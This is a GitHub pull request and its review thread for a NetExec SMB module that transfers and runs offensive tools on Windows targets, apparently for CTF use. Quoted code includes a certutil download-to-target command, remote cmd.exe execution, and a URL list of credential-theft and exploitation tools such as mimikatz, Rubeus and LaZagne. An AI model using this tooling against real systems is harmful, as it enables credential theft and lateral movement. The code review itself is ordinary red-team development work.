Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[SMB] New Module quick_tools #540

Open
wants to merge 18 commits into
base: main
Choose a base branch
from

Conversation

FaganAfandiyev
Copy link

Description

This tool is to download multiple tools to a target which does not have internet connection. It is meant for CTFs and competitions. There is a pingcastle option ( I can isolate and make another module ) and custom option to put links or a directory to transfer them. You can execute the tools you transfer and give arugements. This works great for chisel and ligolo-ng.

Please include a summary of the change and which issue is fixed, or what the enhancement does.
Please also include relevant motivation and context.
List any dependencies that are required for this change.

Type of change

Please delete options that are not relevant.

  • Bug fix (non-breaking change which fixes an issue)
  • New feature (non-breaking change which adds functionality)
  • Breaking change (fix or feature that would cause existing functionality to not work as expected)
  • This change requires a documentation update
  • This requires a third party update (such as Impacket, Dploot, lsassy, etc)

How Has This Been Tested?

I have ran it against hackthebox boxes.

Screenshots (if appropriate):

Screenshots are always nice to have and can give a visual representation of the change.
If appropriate include before and after screenshot(s) to show which results are to be expected.
250114_19h26m47s_screenshot
250114_19h27m26s_screenshot
250114_19h27m47s_screenshot
250114_19h30m16s_screenshot

Checklist:

  • I have ran Ruff against my changes (via poetry: poetry run python -m ruff check . --preview, use --fix to automatically fix what it can)
  • I have added or updated the tests/e2e_commands.txt file if necessary
  • New and existing e2e tests pass locally with my changes
  • My code follows the style guidelines of this project (should be covered by Ruff above)
  • If reliant on third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
  • I have performed a self-review of my own code
  • I have commented my code, particularly in hard-to-understand areas
  • I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)

@termanix
Copy link
Contributor

Thanks for the PR! But It looks like you deleted some modules and smb.py :D, can you check the commits?

Copy link
Collaborator

@Marshall-Hallenbeck Marshall-Hallenbeck left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Made some comments, but in general can you reduce the code reuse? There's a lot of things that are repeated over and over again that you can turn into functions to make the code a lot smaller and more simple.

Comment on lines +144 to +148
unzip_command = (
f'powershell -Command "Expand-Archive -Path \'{self.location}{zip_file}\' -DestinationPath \'{self.location}\' -Force"'
)
context.log.debug(f"Unzipping {zip_file}...")
output = connection.execute(unzip_command, True)
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

execute() will use cmd to execute stuff, is there any reason the ps_execute function didnt work directly with the Expand-Archive command?

Comment on lines +156 to +158
run_command = f"cmd.exe /c {exe_path} --healthcheck"
try:
output = connection.execute(run_command, True)
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Like above, execute() already runs cmd.exe /c with what you're passing in, does passing in the exe_path directly not work?

context.log.fail(f"Failed to execute PingCastle: {e}")

# Transfer HTML and XML reports to local directory
local_dir = "./pingcastle_reports/"
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Might be better to save this to the ~/.nxc/modules/$whatever dir? Or allow for it to be configurable?

Comment on lines +197 to +213
"enum": [
"https://raw.githubusercontent.com/61106960/adPEAS/refs/heads/main/adPEAS.ps1",
"https://github.com/peass-ng/PEASS-ng/releases/download/20241201-e3889b61/winPEASx64.exe",
"https://github.com/jakobfriedl/precompiled-binaries/raw/refs/heads/main/LateralMovement/CertificateAbuse/Certify.exe",
"https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.6/LaZagne.exe"
],
"exploit": [
"https://github.com/jakobfriedl/precompiled-binaries/raw/refs/heads/main/LateralMovement/Rubeus.exe",
"https://github.com/jakobfriedl/precompiled-binaries/raw/refs/heads/main/LateralMovement/Whisker.exe",
"https://github.com/jakobfriedl/precompiled-binaries/raw/refs/heads/main/Scripts/PowerUp.ps1",
"https://github.com/jakobfriedl/precompiled-binaries/raw/refs/heads/main/Scripts/Inveigh.ps1",
"https://github.com/jakobfriedl/precompiled-binaries/raw/refs/heads/main/Scripts/Powermad.ps1",
"https://github.com/jakobfriedl/precompiled-binaries/raw/refs/heads/main/Credentials/mimikatz.exe",
],
"pingcastle": [
"https://github.com/vletoux/pingcastle/releases/download/3.3.0.1/PingCastle_3.3.0.1.zip"
],
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If we're going to be downloading scripts/executables from the internet, their hashes should probably be hard-coded so we're getting the intended script... There's no guarantee that these repo owners won't swap out these with malware (harmful malware vs intended security products)

Comment on lines +248 to +249
check_command = f"cmd.exe /c if exist {exe_path} (echo PingCastle already exists.) else (echo PingCastle not found.)"
output = connection.execute(check_command, True)
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Same question previously, is cmd.exe /c needed?

Comment on lines +386 to +387
check_command = f'cmd.exe /c "if exist {remote_path} (echo {tool_name} exists) else (echo {tool_name} not found)"'
output = connection.execute(check_command, True)
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Same question previously, is cmd.exe /c needed?

Comment on lines +415 to +416
check_command = f'cmd.exe /c "if exist {remote_path} (echo {filename} exists) else (echo {filename} not found)"'
output = connection.execute(check_command, True)
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Same question previously, is cmd.exe /c needed?

Comment on lines +419 to +422
exec_command = f'cmd.exe /c "{remote_path}" {self.ARGS}'
context.log.highlight(f"Executing {remote_path} with arguments: {self.ARGS}")
try:
exec_output = connection.execute(exec_command, True)
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Same question previously, is cmd.exe /c needed?

Comment on lines +435 to +436
command = f'cmd.exe /c certutil -urlcache -split -f "{tool}" "{destination}"'
output = connection.execute(command, True)
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Same question previously, is cmd.exe /c needed?

Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This should not be deleted lol

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants